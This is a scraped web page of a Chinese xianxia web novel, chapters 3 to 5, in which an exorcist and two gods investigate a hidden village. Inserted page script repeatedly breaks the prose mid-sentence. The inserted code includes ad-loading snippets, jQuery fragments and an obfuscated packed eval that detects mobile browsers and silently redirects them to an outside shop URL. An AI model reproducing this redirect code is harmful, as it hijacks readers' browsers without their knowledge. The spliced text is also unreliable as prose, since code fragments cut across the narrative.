《我轮回驱鬼后与鬼怪大佬he了》
3. 菩提根
菩提山整座山里只有唯一一颗菩提树,就长在那破旧不堪的寺庙百米处。那是一棵千年老树,只开花不结果,据说是来往的神仙种下的,但这也并无依据。只有那傩谱里有记载,这千年菩提实则是一个凡人所种。
凡人想入道飞升,听闻此山有神仙下界,便跋山涉水来此求道,路上遇到重重阻碍,都化险为夷,也确实见到了这山上的神仙。只是与他想象不同的是,神仙并没有搭理他,也没有因为他的真诚而被打动。
凡人不明所以,在这山上日复一日的等待,终有一天等来了神仙的答复。神仙对这位凡人道,他天生与神无缘,没有神格飞升,注定一生平凡。凡人不信,他自认为一生积累了不少功德,救人无数,心怀正念,可是却无处可去,怎地如此?
然而解了他这心结的也是位凡人,或者说是个和尚,和尚见了他,道了句:“阿弥陀佛,人各有命,施主何必勉强。若不认命,便走不出这心结,若认了命,便就此遗憾终生。既然如此,何不一切随缘,缘分未到时,有也等于无,缘分到了,无也终会有。”
凡人有所悟,便种下了菩提,此后这座山也有了名字。
菩提菩提,本来无一物,何处染尘埃。【1】
菩提树前方是一座傩师庙,那里有一条小径,路边被吴净山种满了紫斑竹。彼时有清风拂过,竹林沙沙作响,一位身着玄衣朱裳,腰挂鬼面,后背背着辟邪剑的男子提着两坛寒潭香出现在了寺庙门口。
他的头发高束着,显得有些凌乱,脸上有很多灰尘,好在生得十分俊美,尤其额间的红痣,胜于枫火,引人注目。
这寺庙不算小,但从外观来看,有够破的,石墙黑瓦,青苔满布,庙门外挂着一副字迹不太明显的横幅,好像写的是:六时吉祥,四时安康。
也不知这两师徒谁的笔迹,如此龙飞凤舞。
于观南还没踏进寺庙,庙里便传来了吴净山的声音,“呦!你还知道回来呀?”
一听这话,于观南便道:“知道的,知道的,我这不回来孝敬您了?”接着他进了庙里,往祠堂走去,正好见吴净山端坐在草团子上。
“师父?”于观南笑,“呐,您最爱的寒潭香。”他将酒坛子放到了吴净山旁边,随后也找个草团子坐了下来。
吴净山看了一眼一旁的寒潭香,又瞅了瞅于观南,“被那夜叉打得屁滚尿流了?”
“倒也没那么惨。”只是,若有一分差池,便会葬送在那无尽堂门口了。
“我看够惨的!”
怎么说呢,好像也是有点惨吧,但好在没出什么岔子,于观南扣了扣脸庞,“嘿嘿,还好,还好。”
吴净山翻了个白眼,“好个屁,你可是傩师,被一个夜叉打得痛哭流涕的,传出去多不好听啊?瞧你那出息的样!”再一看这小子,浑身上下就没个干净的地儿,内伤重不重他不知道,不过这外伤还真是目不忍睹的,吴净山叹了口气,正常道:“说吧,到底怎么回事?”
听到吴净山问出来了,于观南也收了那讨好的姿态,严肃了几分,他道:“我可能遇到了无穷恶鬼。”
“哦?”吴净山竖起了耳朵,听着于观南往下说道:“他就在婆娑城的无尽堂当中,我受其影响,身体的炁被抑制,所以才被夜叉钻了空子。而且……”
“而且我似乎一时间回到了九幽。”
上有九重天,下有九重地,而这九重地便是阴界酆都还要往下的十八层地狱之下,不被外界所掌管的,被唤为九幽之地的地方。九幽纯阴无阳,是地狱深渊,那里是恶鬼的出处,荆棘丛丛藏鬼怪,石崖磷磷隐邪魔。【2】
这地方就连神仙靠近都会法力尽失,沦为恶鬼口中食,何况是凡人。
吴净山一听:“你有见过会设在人间的地狱吗?”
于观南肯定道:“当然没有,所以才奇怪啊。师父,您是知道的,那地方我也呆过,我知道那种感觉。”
那种死一般的感觉。
吴净山一听有些吃惊,随后便问:“他可有伤你?”
“除了一些与夜叉搏斗时留下的伤,那只恶鬼并未伤害我。”于观南答道。
见他如此冷静,吴净山便有些加激动,“你说他没有伤害你,是真是假?来,让为师看看。”他说着将于观南全身摸了个便,又探了探他的脉搏,确定他只是皮外伤才放下心来。
“他只是……”
于观南不知从何说起。
“有什么话大可说来,别让你师父我干着急。”吴净山也是个急性子,一把年纪了,比起脾气来,还没有他徒儿半分好。
于观南:“他问了我姓名。”
见于观南那无所谓样,吴净山简直恨铁不成钢,“完了,完了完了完了完了!”
于观南不明所以,“师父,怎么了?”
吴净山简直要仰天咆哮了,等他静下来了,第一件事情就是给了于观南一掌,这一掌不轻不重,恰到好处,打得于观南愣了好久。
“师父?”
“像你这样轮回转世,没喝过孟婆汤,没踏过忘川河,千百年来一具身躯,灵魂如昔又一尘不变的,若被恶鬼盯上,你想过后果吗?”吴净山道,“你会被拖下地狱的,你想再回去吗?”
他当然不想。
他出生时便一直带着前世的记忆,所以学什么东西都很快,像个小大人。傩族善于算卦,他爹娘将他交于吴净山时,他这个老师父就知道了,他非常人。
吴净山忍不住又要给他一掌,只是这次被他接了下来,“我与他无冤无仇,他又何必费尽心思将我拉入地狱?师父,没这个道理啊。”
于观南认为他师父所想不过是凡间的一些传闻,亦或是傩谱里的不实记载。
吴净山甩开于观南的手,“他是恶鬼,你还妄想他会行善?”
“不会,但我看他那样,怎么说也不需要用拉人下地狱这样的手段吧。”
恶鬼拉人下地狱无非两种情况,一是夺舍,二是夺命。可这两种情况只不过针对一些九幽的小鬼,若是无穷恶鬼,大可不必如此费劲儿。
“你!”吴净山无奈叹息,见自己的话说了对于观南没用,还想挣扎一下,“你告诉他了?”
于观南笑:“告诉了。”
吴净山气不打一处来:“混账东西。”好样的,如果可以,他真想把于观南踹出去,然后干脆别再回来。
不过他并没有这么做。
“他最好别来找你。转过身去,为师看一眼你后背的伤!”
“不……”不必,于观南还没说出口的话,被吴净山恶狠狠的眼神给憋了回去,他也只好顺了他师父,乖乖的转过了身。吴净山看了后,直摇脑袋,“啧啧啧,伤的不浅啊?你这后背皮肉都绽开了,再晚点都得留疤。”
“没事,男子汉大丈夫,留点疤痕没什么。”
吴净山碰了碰于观南后背,“是咯,等你后背痍疮满目时就不是这么说了。”
于观南倒是没想过这些,他配合着吴净山将衣裳脱了下来,露出那坚实的后背,“即便如此,有师父在,也定会治好的。”
傩族兴盛时,“大神”傩师,也就是傩师里功法最强的几位当中,定会出一位厉害的医者,尝尽百草,专门为傩族治疗病创,医术精湛,而于观南的师爷恰好就是这么个人物,吴净山自然也不差。
“夸,使劲夸,你师父喜欢听,只要你不怕疼。”他说着从身上拿出一瓶伤药,往于观南伤口处洒去,而后又不紧不慢拿出绷带,替面前的人绑了起来。
“修整两天。”说着他便走了出去,回来时将一件新的衣裳丢给了于观南:“换上吧。”
“好。”
吴净山忙活完了,往那早团子上一坐,将于观南带来的两坛寒潭香拆了一坛,然后猛地拿起,饮了一大口,舒爽的来了一句:“好酒!”
于观南好心提醒:“师父,在祠堂呢,哪还有当着诸位祖宗的面饮酒的?”
他师父可比他还倔,并没有把这话听进去,只是又一口将酒水灌到了嘴里。“哪来那么多规矩。”酒下肚肠,清冽劲爽,口齿留香,回味无穷,这寒潭香当真是好酒。“来,赔罪!”他另一手将没拆封的寒潭香递给了于观南,不过等了半天,那边的人就是没接手。
于观南不喝酒的,这寒潭香他就更不敢接了,见他如此,吴净山鄙视的看了他一眼,“切,不成气候。”
“成不成气候您还不知道么?我长这么大,能不能喝酒您又不是没见过。”
吴净山肯定见过,于观南一旦喝酒便会发疯,没个一天一夜根本停不下来。
说到底,他心里一直过不去那道坎。
许久后,于观南又道:“您也别喝太多了。”
吴净山着一身荼白道袍,虽是老了,两鬓斑白,但年轻时也可谓玉树临风,不知是哪位姑娘求之不得的心上人,这饮起酒来也十分豪爽,不失风雅。
想当年,他就是往那傩族用来祭祀的灵台上一站,作为祭祀的大神傩师时,那灵台周围可都是围满了对他倾慕不已的傩族姑娘。不过可惜就可惜在这人是个不开窍的千年老铁树,那么多姑娘对其表白,他就是一个也看不上,口口声声说要自由不要束缚,结果时到今日也还是个穷光棍。
这件事情也没少被于观南拿出
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
来说,不过每次提起,他们都要打上一架,这一打架倒也没什么,主要是,打架打得到处狼藉,最后还得于观南灰溜溜地自个儿收拾,所以收拾的次数多了,于观南也就闭嘴不提了,谁会没事给自己找那么多事呢?
吴净山就这样当着傩族祖宗的面将两坛寒潭香喝了个精光。寒潭香后劲很大,于观南不敢休息,便如此陪了他师父许久。
“观南,为护国民弑神并不是你的错,九百年了,你该受的罪也受了,别自己放不过自己。”吴净山好似是喝醉了,但说的话却那么清晰明了,让于观南听后不觉顿住了身形,半天也没说一句话。
“为师希望你好,过去的就让他过去吧。”
过去,哪里还过得去。只怕他愿意放过自己,太商子民的亡魂也不会让他好过吧。
他害死了那么多人,每每入夜,总会想起前世罪孽,最后便是惊得一身冷汗,辗转难眠。
怎么过得去?
于观南苦笑,“师父,醉了就早点休息吧……我嘛,千古罪人,这一生注定不得善终,天命让我轮回傩师不就是让我赎罪清楚。我心里的坎若是过去那便过去了,若是过不去,那就是下辈子也要继续还债的。”
知错能改,善莫大焉。他身上背负的万万条性命,便是要由他今生负荆请罪,将功补过。傩师一生会积累许多功德,只愿最后到鬼门关重走一遭时,能无罪一生轻。
吴净山却没听进去于观南说的话,他手里的空坛子落了地,人已经在那草团子上打起了盹,无奈之下于观南只好扶着人往房间走去,而后又回来替他师父将祠堂收拾了一番。
次日,吴净山起床时只觉得腰酸背痛,哪哪都不师父。赶忙穿戴好衣物,刚一开门就看见于观南在那拿着扫帚扫落叶。
于观南见他醒了,眯眼装模作样一笑,然后指了指厨房,“快去用早膳吧师父。”
吴净山倒也不惊讶,毕竟他养大的孩子,懂点事太正常了,于是二话不说挺直腰板就往厨房走去,吃饭时嘴里还不忘嫌弃一番,但即便如此,他也会“很给于观南面子”的将早膳一扫而空。
事实上,在这傩师庙当中,也就于观南一人做事,平日里洗衣做饭伺候老人家,什么地方有邪祟需要驱逐了,还得前去跑一跑,积累功德。
又是当爹又是当妈的,还要服务于己业,实属不易啊。
*
婆娑城街道中心有一座巨大的神殿,里面供奉着大大小小的神仙。譬如掌管文化的文昌君,执手姻缘的六合君,保平安的观音,以及西金、东木、北水、南火、中土等九重天五行武神,当然肯定是少不了神主的。各路神仙聚集一处,香火连连根本数不胜数。
远远望去,神殿金灿灿,红彤彤,琉璃瓦,金桂树,白玉杆,雕梁画栋,栩栩如生。人们潜心拜佛,求的无非平安、财富、姻缘、事业几样。
重阳前夕,神殿内两道金光闪烁。北水,南火两尊神像里走出了两位神仙。一位身着白衣,风清月明,儒雅至极,是位冰清玉洁的公子模样,另一位身着赤衣,意气风发,风华正茂,是位不可一世的少爷模样。
二神都化去了原本的装扮,各自手里都拿有神武,除却一身清贵气质,远看确实与常人无异。
许是他们将身形隐去,没有人看得见,否则以二位神仙像前的香火来看,不被发现是大不可能的。
南火那位左右看了一眼便从神像前跳了下去,在神殿转了一转,又停在了北水像前,伸出了手,“走吧,这离我们的目的地还有一段距离呢。”
北水伸过手,二人便朝着门外走去。来往的民众并未注意到,只是二人临走前惊起了殿内的几只三宝鸟,展翅飞行间,引起了不少民众围观。
重阳又为飞升,因日月皆逢九,故又名重九,是民间登高祈福、拜神祭祖、饮宴祈寿的日子。
吴净山虔诚地坐在祠堂内,蜡烛轻轻摇曳,那里祭拜的从来不是神仙,而是历代的傩师祖辈。从最小的入门级傩师,到中级、大级、小神、大神。案台一排排牌位,层次分明,高低起落,那是一整个傩族从兴盛到衰落的过程。
就如吴净山所言,傩以苍生为重,苍生之前傩师必出,所以那斩鬼除邪的傩师愈发稀少,而今只余两位“大神”了。
三更,师徒二人仍旧守着牌位。寺庙外传来动静,随后闪来两道金光,二人见状前去开门,门外站着两位神仙,正是北水和南火。
北水:“在下水神,沈秋白,深夜来此,多有得罪。”
南火:“火神,伊见喜。”
吴净山反应过来,道:“菩提山傩师,吴净山,拜见水火二神。”
4. 等待进入网审
婆娑城前后有两山,南面的为菩提山,而北面的山为孤山。
孤山因一山独秀而闻名,同菩提山不同的是,这山间上分布有一小村落,名为杏花村,正是说书人口中依山傍水,与世隔绝的世外桃源。
可是最近几年说书人口中也没听到关于杏花村的任何事情,这原本也正常。但婆娑城有几个去了那村落的人没有再回来过,日复一日,这回不来的人越来越多,在那神殿里祭拜祈祷的人也越来越多,人一旦多了,这事情便传到了九重天神主的耳里,于是就派神仙下界查探了。
“这件事即便是传到九重天,也不应由我和见喜来管,只不过这事情很不简单,文昌君查看了人间的记事簿,认为孤山上身死的人,少则几十,多则几百,而其间为祸的很可能是那九幽极恶。因此事情也变得棘手了不少。”路上,沈秋白对着于观南道:“九幽极恶出现在人间也不太正常,所以这事便交于了我和见喜了。”
于观南依稀记得,九百年前九重天的神仙几乎很少会主动去管人间的事情,除非有人大力建造宫观庙宇,大张旗鼓地供奉着,否则,他们可不会理会谁的死活。
傩谱里记载着,九百年前九重天换了神主,新神主继位以来便逐渐有了五行神仙,而各个神仙各司其职,共同维护三界平衡。
这才对嘛,神仙不就该为苍生着想吗?
半响,于观南问:“所以,二位叫我同去的原因是?”
沈秋白道:“孤山这一带很不好找,我二人在人间行事著有不便,叫一位傩师前去,也是神主的意思。”
“原来如此。”于观南道。
但是话说回来,“那个,我还有一个问题,九重天掌管人间万事万物,这孤山有没有问题,村落出了什么状况,不是拨开云层一看就能得知了?”
听他这话,回答的是火神伊见喜,“当然,但那村落上面已经查不到了。”
这样看来事情确实很不简单。
能在九重天神仙眼下隐去,而且不留有痕迹的,平常恶鬼办不到,九幽的极恶还办不到么?
很快,几人踏上了一条石径,蜿蜒盘旋而上,似乎望不到头。石径一旁是郁郁苍苍的枫树,树枝交叉在石径上空,纠缠不清,而另一边则是一望无尽的深谷,有所谓绝壁千仞立崔嵬,万丈悬空一线开之感。
“奇怪。”于观南道:“这一路走来怎么也不见一个北水庙?”
“是呀……”沈秋白也觉得不对劲。
如今在众多神仙当中,五行神仙管得东西较为宽阔,不像其他神仙要么管财,要么管姻缘之类的。五行神仙可以姻缘和钱财一起管,也可以单管一样,总之,能管的都会管,因此每到一个地方多多少少都会设有五行中某位的庙宇。这北面为水神的地盘,供奉他的庙宇也应很多,即便这山上地势险恶,也该有个一座两座。
伊见喜道:“难不成被烧了?”
神仙的庙哪那么容易被烧?于观南听到这,莫名想笑,真没想到九重天闻名遐迩的火神大人是个想法如此简单的少年。
于观南看了他一眼,确实是个少年,至少模样上来看是这样没错,若是放在人间也不过十五六岁。
沈秋白也轻笑一声,“哪那么容易啊,恶鬼很难烧得了一座神庙。”
供奉有神仙的庙宇一般阳气颇盛,平常恶鬼是很难毁去的。
伊见喜道:“那就是人为咯。”
“你呀……”沈秋白说着摸了摸伊见喜的头发,显得很温柔。
于观南跟在两位神仙身后,不知多久,大雾四起,眼前的一切都变得模糊不堪,而后便有一声诡异的笑从前方传来。伊见喜见状立马拔剑一斩开来,“什么妖魔鬼怪,胆敢在你爷爷面前班门弄斧!”
他这一剑威力不小,火光之下,直接斩断了前方的几株树木,同时也将大雾激散,于观南看了都不得不感叹一句:好生厉害!
火神的神武是一把红色带有火焰纹路的长剑,名为红岩,与他的属性极其相称。
“方才那声音也听到了,诡异至极,这山上危险,于公子,小心了。”沈秋白转身对着于观南叮嘱,“你可要跟紧。”
于观南微笑,“放心,鬼怪什么的,我见的也不少。”
大雾散去,石径也到了头,只是到头却分出了两条岔路,这岔路都见不到底,尤其阴森。
“两条路,两位大人要如何来选?”于观南问。
这路最难选,石径本身就离万丈深渊很近,这分出来的路,选错一条或许就会失足跌落。可惜于观南一向运气欠佳,这种事情他来最不合适。
伊见喜得意道:“简单,问问这山里的山神不就行了。”
于观南道:“有道理,不过眼下没有山神庙,在这山中召唤当是要废不少法力的。”
沈秋白打断伊见喜要施法的手,“我来吧。”
“不用,我来就行。”伊见喜说完就开始结阵施法,霎那间,阵法闪烁金光,雾气被突如其来的大风吹开,阵法落地深根,地里伸出长长的藤蔓,这藤蔓向上生长着,最后开出了花朵。
等全部的花开完,藤蔓逐渐消失,在阵法中间出现了一个男子——着一身石青长衫,长发披散,面容凄美,宛若悬崖边上的百合,野生却又灿烂。他身旁还跟着一只很大的梅花鹿,出现时还往他身上蹭了一下。
“时意,拜见水火二神。”山神行礼道。
于观南有些愣神,好看的神仙他见过不少,但如此这般的他还真是少见。
不过想来,他前世也是个爱好美好事物的人,凡是美丽的东西都容易吸引他的眼球,引起他的好奇心,尤其是美人。可是太商太大,美人如云,见多了也会审美疲劳,久而久之让他对美人更加挑剔,能入得了他眼的,那当真可称得上是绝色。
同样缓过神来的沈秋白伸出手,“山神请起。”
“不知水火二神唤我出来,有何指示?”时意道。
沈秋白道:“山神可知杏花村往哪走?”
时意眼里有一丝诧异,然后又不紧不慢地抚摸着身旁的小鹿,指了指分岔的两条路,“右边的路比左边的安全一些,而且那里有一座北水庙,杏花村应该就在那里。”
伊见喜道:“北水庙?原来这寺庙是设在村里呢,如此甚好,也有个落脚的地方。对了,山神可知村子的由来,还有村里异常,是否有极恶鬼出没?”
时意如是说道:“这村子有百年的历史了,大多数都是一些从别处逃来的难民,至于那极恶鬼……”他顿了一下,“我并不知这村里出现过极恶鬼。”
“你当真?”沈秋白道。
时意点头确定。
于观南一直在观察着山神以及他身边的那只梅花鹿,这只鹿很特别,颇有灵性,举止似人,尤其它的眼睛。
这就奇怪了。
于观南不自觉眉头紧蹙,恰好引来了沈秋白的注意,“于公子,你这是?”
“哈哈哈,抱歉,就是觉得山神的梅花鹿很好看,我在别的地方没见过。”他说完看了一眼时意。
时意很坦然,他看着于观南又看向了那梅花鹿,缓缓开口,“这只鹿是我的亲人,我飞升前家破人亡,梅花鹿是我妻子留下的。”
谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984291|148103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也没想到他居然如此坦白,于观南反倒有些歉意,“是我言错。”
时意脸色显得十分疲惫,“都过去了,若是没别的事情,时意就先告退了。”
沈秋白道:“那就多谢山神了。”
杏花村是在一片树林背后,应该是被人设下了结界,所以九重天才看不到这村落。结界有些难破,但是两位神仙在此,没过多久就将其破去了。
就这样,于观南一行人穿过结界,进入到了村内。
让人意外的是,这村里十分和谐,男女老少各司其职,男耕女织,还有奔跑在小路上嬉戏的孩子,田间则是种满了杏树,阡陌交错,有溪流蜿蜒环绕。村落大大小小二十来户的样子,屋舍俨然多是竹木建造,简朴温馨。这怎么看也都是一个正常的村子。
北水庙便设在这村口,几人隐去了身形,进了庙里。
村子虽然不大,但村民也有个百人左右,可是北水庙里却无人问津。从外观来看庙已经够破了,没想到里面更破,只留着那一团泥巴捏成的神像和案台上零零碎碎的几根残香。
伊见喜属于眼直口快,一进门,话也跟了上来:“这一团烂泥捏的什么?”
“…嗯…”于观南看着那泥巴陷入沉思,听到伊见喜问,便顺便回答了,“这里是北水庙,祭拜的也当是水神了。”
话出口后,于观南又觉不妙,看着两位神仙一个比一个脸色难看,又安慰似地道:“其实,像这种村落,很多神像都是泥巴捏的,捏的都很好看。”于观南看了看眼前的神像,这哪是好看,这是好笑,是真的好笑。
一团泥巴要形没形,东倒西扭,甚是滑稽,而且面容稀奇古怪,有点儿像那戏班子里的丑角儿。
于观南心里闭了嘴,顺便骂了一句,好看吗?好看个屁。
沈秋白不会是一个计较这些表面东西的人,宽宏大度道:“无妨,想来这庙里很久没有香火了,既然无人问津,那神像是什么样的,都不是什么大事。”
伊见喜则是在一旁连连点头。
几人大致将庙里收拾了一番,给了自己个舒服的落脚地。
经过神仙的查核,这杏花村有鬼做怪,而且这只鬼还是九幽的极恶鬼。不过现在看来要查出真相还要搞清楚村里如今的状况。
首先要弄清楚的便是村外的结界,结界挡住了神仙的视野,两位神仙破阵时,并没有感受到浓重的阴气或者怨气,说明结界不是那只极恶鬼所设。
其次,文昌君说这村里新增的死亡人数不少,可是几人到此时一片祥和,不像是经常有人身死的地方。
“村民看上去很是和谐,但是却又过于和谐了一些。”于观南道,“不知二位神仙有没有发现一个问题?”
伊见喜问,“什么问题?”
于观南看着庙外行动的村民,“他们每个人的行为都是固定的,挑水的,来来回回都在挑水,种地的都是埋苦挖地,没有休息,就连路边的小贩,也都是一脸傻笑地面向来往的人,不曾低头。如此行为,怎么也不像是正常人会有的吧?倒像是无知觉,无意识的傀儡。”
沈秋白笑了一声,“没想到于公子观察得还挺仔细的。”他手抵着下巴,“傀儡人,有意思。不过天色已晚,明日我们再好好看看。”
伊见喜伸了个懒腰,随意地躺在了铺好的草席上,看向了于观南,“我倒是觉得,说不定这一整个村子的村民都是恶鬼所化。”
“那也不是不可能,若是这样,事情倒还好解决。”于观南道。
如果这杏花村里的村民全是恶鬼,那火神一把火烧了可比一步步查探省事多了。
5. 山时意
杏花村方圆几里种植的杏子成熟没多久,家家户户便晒起了杏干,即便是走在路上都能闻见那杏干的清香。
期间,于观南看向一间竹屋时,发现屋顶闪过一个人影,那人影悠闲自得,百无聊赖,似乎一直都在看着他。可当他再看过去时,人影已经消失不见了。
三人都化了形,装扮成村民模样混入村中,随即便找了处人多的饭店坐了下来。
“几位客官,请问需要点什么?”店里的小二喜笑颜开,十分殷勤。
于观南看了看沈秋白和伊见喜,然后笑眯眯地对他道:“一碗清汤面,谢谢。”
而面前的两位显然没有要点东西吃的意思,也是,天上的神仙不进人间的美食,原因很简单,其一,神仙摒弃一切杂念,其中肯定是包括口腹之欲的,其二,便是小孩想法了,神仙不会饿,所以不用吃东西。
于观南更相信其二,在他印象里神仙确实不会饿。
一碗清汤面端到几人面前时,两位神仙眼神稍变,一动不动地盯着那碗面看。
“额……两位,要尝尝?”于观南拿着筷子的手顿了顿,随即问道。
伊见喜道:“你倒是心大,你都知道这里的人不正常了,还敢吃他们做的食物?”
于观南:………
神仙不吃饭不会死,他不吃饭会死。
饭后,几人做在饭桌前默默观察村民的一举一动。
突然有个少年从店外跑来,猛地一座,然后将身后的袋子丢在桌上又摊开。这不摊开还好,一摊开后,盯着他看的三人都惊住了,那袋子里装满各种驱鬼用具,黄符,铜镜,十字架,还有同于观南身后一样的辟邪剑,这怎么看都是一位驱鬼人士。
不过不知其他人看出来了没有,于观南光一眼便可以判定,眼前这少年并非与他是同行,他手里的这些用具都没有开过光,简单来说就是做做样子而已。
在店里吃饭的村民看到这一幕都有些好奇地盯着他那边看,小二跑过去客气地寻问:“客官您好,您这是?”
少年道:“拿来防身的,听说你们这里有鬼,我害怕。”
小二眉头一皱,大抵是有些不知如何开口,哪能想到,一个少年说句话也如此直接,他支支吾吾半天,才说出来一句完整话来:“哪里,哪里,我们这山清水秀,怎么会有…有鬼怪?”
少年依旧很直接:“狗屁,这哪里山清水秀?”
“………”这话怎么说都会有些得罪人,然而少年满脸不在乎,也不顾小二脸色如何,道了句:“一碗清汤面,谢了。”
小二脸色极黑,活像是哑巴吃黄连,有苦说不出,挣扎许久还是默默地前去煮面了。
“外面来的?”伊见喜问道,可是事情就摆在面前,显而易见。
于观南“嗯。”了一声,然后又看向了那少年。
少年忽然回头朝他笑了笑,然后大声说道:“这位哥哥,干嘛一直盯着我看,是我脸上有什么东西吗?”
于观南一脸尴尬,这眼神收也不是,不收也不是,只好笑答:“抱歉,抱歉。”
少年噗嗤笑了一声,然后起身将东西随意一收,毫不客气地坐到了几人面前,“我坐在这,你想怎么看都成。”
伊见喜见状,嘴里吐出几字,“没大没小。”
少年耳朵很灵敏,笑嘻嘻地对着伊见喜道:“你看上去没比我大多少,怎么还没大没小起来了。”
“你!”伊见喜本想发火,却被沈秋白给止住了,“小孩子玩笑,你计较什么?”
少年撇了一眼伊见喜,看向于观南,“哥哥,你们也是来驱鬼的吧?”
仔细一看这少年长得十分清秀,眼睛明亮有神,如同麋鹿,一颗虎牙也极其可爱,笑起来的时候总能让人放松警惕。听到他这么问,于观南倒是不知道如何回答,许久之后才开口问了一句:“你怎么知道的?”
少年一脸得意,然后指着于观南身后的辟邪剑,“你这剑背在后面,是个人都看得出来。”
说的也是,看来是这把辟邪剑走漏了风声,于观南有些惭愧地看向两位神仙,而后道:“这都被你看出来了…哈哈。”于观南一向坚定,只要自己不尴尬尴尬的就是别人。
然而空气确实一下子冷住了。
少年的面端过来了,他抓着筷子就吃了起来,吃得很干净,汤水也都没剩下。吃完后他随意擦了一下嘴巴,还打了个饱嗝。
这一切三人都看在眼里,于观南和沈秋白还好,都比较大方,也没有要赶走少年的意思。然而伊见喜便不乐意了,他满脸都写着两个字——嫌弃!一张脸上表情多变,喜怒哀乐都演了个遍。
少年也还大方,见他这副样子,还不忘安慰安慰,“你别挤眉弄眼啦,我看着都累,休息休息吧。”这少年说这话时像个小大人似的,这么看倒是比伊见喜长了一辈,不过这也仅限于外表和行为。
伊见喜说不过便别过头去,要知道在九重天要是谁敢和他这么说话,他必是二话不说先和那人打一架,打完了,这么和他说话的人也不敢再开口了,也不会有人仗着年长去欺负他。沈秋白看出了他想法,拍了拍他的后背。
那少年看着空碗,又向于观南道:“哥哥,我身上没钱,你能帮我付一下吗?我保证不会白要你的钱,作为交换,我可以交出我在这村子里发现的线索,如何?”
于观南不由自主地笑出了声,他道:“没问题。冒昧地问一下,你叫什么名字?”
“哥哥叫我小鹿就行啦,我没名字,好多人都这么叫我。”
于观南:“小鹿?”
“嗯。”少年欣喜,“那我还要一碗清汤面!”
“好。”
小鹿是个到处流浪的孩子,十四岁,无父无母,他无处可去,便想着到处去看看,遇到恶鬼死了就死了,也是误打误撞跑到了杏花村来。
一天夜晚,他饿着肚子准备去偷点村民种的水果时,路过了一口枯井,一阵阴风吹过,那里便不停的有黑血冒出,他擦了眼睛又看,看得很清楚,反应过来后便落荒而逃了。
“那你还记得自己是怎么来到这里的吗?”第二天响午,在去枯井的路上路上,沈秋白问。
小鹿道:“不记得了,我好像太累了,晕倒了,醒来就到了杏花村里。”
走了没多久,小鹿指着前面的一口枯井道:“喏,就是这里了。”
枯井在一片杏园后面,那里十分空旷,四周果树围绕,簇拥的菊花开得满面羞涩,还有几只梅花鹿,见到有行人便落荒而逃。
伊见喜见到此景,便道:“你莫不是诓我们,这里没什么问题。”
小鹿却显得很镇定,等几人疑惑完了,才缓缓道:“现在肯定没问题呀,哪有恶鬼会大白天跑出来的,怎么说也要等太阳落山吧。”他说着还不忘指了那高高悬挂的太阳。
阳光明媚,炎热至极,怎么看都不会有哪只恶鬼
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
作乱,毕竟不论是否为九幽极恶,对于此等天气定是再讨厌不过,讨厌阳光照射,因此才会有那么多话本里的女鬼打伞一说。
“看来,得等到晚上了。”于观南道。
伊见喜有些不耐烦:“这还得等多久?”
“少安毋躁,这附近有条小溪,你要是无聊,可以去那边逛逛,顺便摸摸鱼。”说着小鹿朝着小溪的方向点了点头。
伊见喜紧握着的手发出“咯咯”的声音,他看了一眼沈秋白,“老子不和小孩计较!”然后冷哼一声还真往小鹿说的地方走去了。
“哎…唉。”沈秋白无奈抹额,“随他去吧。”
于观南则是走到了枯井旁,伸出手摩擦着井口边缘,这井不大,刚好够一个人进出,井口也没有血液的痕迹,只是炸裂的水泥上长满了青苔,而那青苔一团团一簇簇青得发黑发紫,而井口里面漆黑模糊,什么也看不清楚。
于观南坐在井口四周张望,忽而某棵杏树上又看见了那个人影,他看过去时,那人影再次消失了。这一次于观南心中笃定,他真的被什么东西给盯上了,不是这山中的恶鬼,而是从一开始就一直跟着他,一直看着他的某个东西。
沈秋白在周围查看了一圈,然后顺着井口也往下看去,许久之后,他跳上了一颗杏树,道:“没什么发现,若还要深究,就得到这井里去了。”
小鹿蹲在一旁的桃子树下,一边啃着刚成熟没多久清脆多汁的水蜜桃,一边嘴里念道:“没有就算了,两位哥哥先休息一下吧,这桃子好好吃。”
于观南心觉,果然还是个孩子。但是仔细想想,一个孩子,流浪了这么久,什么苦没受过?又有多少夜里是连饭都吃不饱的?
小鹿吃了几个桃子,兜里又揣了几个,而后拍拍身上的尘土站起身,“哥哥,这里还有个山神庙,不远的,就是很旧,不嫌弃可以去那里坐坐,我之前都是在那睡的。”
还有山神庙?于观南看了眼沈秋白,心想着再旧应该也没有北水庙旧吧。
沈秋白从树上跳了下来,“还有山神庙?倒是可以落脚歇息,我去叫见喜来。”
于观南点头道:“好。”
山神庙出现在几人面前时,令人眼前一黑,这,这,这比那北水庙不知破旧多少,北水庙收拾收拾还能住个人,这山神庙就是几块破烂的木板建起来的,漏风漏水,还咯吱咯吱响个不停。
几人最终还是进了庙里。伊见喜浑身不舒服,周身不自觉便流转着一股火星子气,小鹿微张着嘴巴,惊讶得不敢说话。
“火神如此莽撞,也不怕吓到小鹿?”于观南道。
伊见喜翻了一个白眼,“看到了就看到了,事情结束后,把他打晕,将他记忆抹了就行。”如此简单粗暴,果然是很火神的做法。
小鹿听了打了个冷颤,他还不清楚情况,有些懵懵的,“难……难不成你们是…是…是神仙?!”
小鹿立马扑到了伊见喜脚边,“别……别…别打晕我,神仙大人,我不会说出去的,我发誓!”
伊见喜一脸“你看我信吗”的表情,这小鹿哪是在哭,分明就是在笑。
得知面前是水火二神,小鹿瞬间乖巧了很多。他头一次见到真的神仙,除了供奉神仙的殿堂庙宇,小时候只有在那说书人嘴里听过,没想到都是真的,真的会有神仙下界。
他此时此刻两眼冒星,目不转睛地盯着水火二神,这比见到一堆金银珠宝还要刺激。
6. 等待进入网审
